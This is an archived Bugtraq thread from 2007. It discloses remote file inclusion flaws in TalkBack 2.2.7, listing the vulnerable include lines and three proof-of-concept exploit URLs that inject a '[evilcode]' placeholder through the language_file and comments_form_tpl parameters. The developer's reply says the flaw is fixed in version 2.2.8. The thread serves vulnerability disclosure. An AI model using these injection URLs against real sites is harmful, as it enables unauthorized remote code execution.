Login | Register For Free | Help
Search for: (Advanced)

Mailing List Archive: Bugtraq: Bugtraq

TalkBack 2.2.7 Multiple Remote File Inclusion Vulnerabilities

 

 

Bugtraq bugtraq RSS feed   Index | Next | Previous | View Threaded


bugtraq at opencosmo

Nov 21, 2007, 2:58 PM

Post #1 of 2 (2068 views)
Permalink
TalkBack 2.2.7 Multiple Remote File Inclusion Vulnerabilities

Opencosmo Security
http://www.opencosmo.com

==================================================================================================================================
# TalkBack 2.2.7 Remote File Include Vulnerability

Software : TalkBack version 2.2.7
Developer : http://www.scripts.oldguy.us/talkback
Discovered by : NoGe
Contact : pace[dot]noge[at]hotmail[dot]com

==================================================================================================================================


# Vulnerable file

comments-display-tpl.php

line 35 include $language_file;
line 172 include $config['comments_form_tpl'];

addons/separate-comments-mod/my-comments-display-tpl.php

line 35 include $language_file;



# Exploit

http://localhost/path/comments-display-tpl.php?language_file=[evilcode]
http://localhost/path/comments-display-tpl.php?config[comments_form_tpl]=[evilcode]
http://localhost/path/addons/separate-comments-mod/my-comments-display-tpl.php?language_file=[evilcode]


==================================================================================================================================

# Greetz

all crew #papuahacker #baliemhackerlink #nyubicrew
skulmatic olibekas ulga Cungkee nyubi k1tk4t bius SiKodoQ newbie
yooogy H312Y Vrs-hCk Oon_Boy Paman mousekill }^-^{ Fluzy str0ke
http://kapukvalley.net member

==================================================================================================================================


oldguy at oldguy

Dec 27, 2007, 10:59 AM

Post #2 of 2 (1921 views)
Permalink
Re: TalkBack 2.2.7 Multiple Remote File Inclusion Vulnerabilities [In reply to]

This vunerability has been fixed in release 2.2.8

Bugtraq bugtraq RSS feed   Index | Next | Previous | View Threaded
 
 


Interested in having your list archived? Contact Gossamer Threads
 
  Web Applications & Managed Hosting Powered by Gossamer Threads Inc.